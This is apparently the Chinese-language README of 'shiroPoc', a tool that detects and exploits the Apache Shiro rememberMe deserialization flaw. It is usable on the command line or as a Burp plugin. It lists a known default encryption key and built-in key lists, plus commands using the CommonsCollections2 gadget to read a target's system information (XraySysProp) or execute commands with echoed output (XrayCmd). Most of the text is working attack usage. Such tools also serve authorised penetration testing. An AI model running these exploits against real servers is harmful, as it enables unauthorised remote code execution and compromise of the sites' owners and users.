mvn package 編譯
歡迎關注 寬字節安全 公眾號
changelog
- 新增shiro 檢測方式(對,就是那個不需要gadget的檢測方式) 2020.7.30
- 新增shiro 100 key
- 支持自定義key
- 支持作為插件導入burp
burp插件使用方法
repeater界面中右鍵,生成payload
默認kph密鑰,cc2利用鏈,獲取信息,如果需要修改,請右鍵選擇config
生成后,會自動替換request內容,並攻擊
當然,這個jar包也可以直接在命令行下運行,生成rememberMe,或者檢測,一切不變
自定義key檢測
java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/samples_web_war/ kPH+bIxk5D2deZiIxcaaaA==
內置100key檢測
java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/sam
ples_web_war/
java -jar .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar kPH+bIxk5D2deZiIxcaaaA== CommonsCollections2 XraySysProp
檢測方式
運行
java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc
檢測
java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/sam
ples_web_war/
shiro-urldns 檢測&利用工具
支持shiro 16個key,支持攻擊利用。支持的key與gadget以及攻擊類型如下
查看目標服務器的系統信息
該攻擊類型為XraySysProp
,使用方法如下
java -jar .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar 16 CommonsCollections2 XraySysProp
利用截圖如下
執行命令並回顯
該攻擊類型為XrayCmd
使用方法如下
java -jar .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar 16 CommonsCollections2 XrayCmd
利用截圖如下
注意事項
- 建議刪除不相關的http請求頭,不然會因為http請求頭過大而提示400錯誤
- 建議使用CommonsCollections2 gadget,體積小,利用率高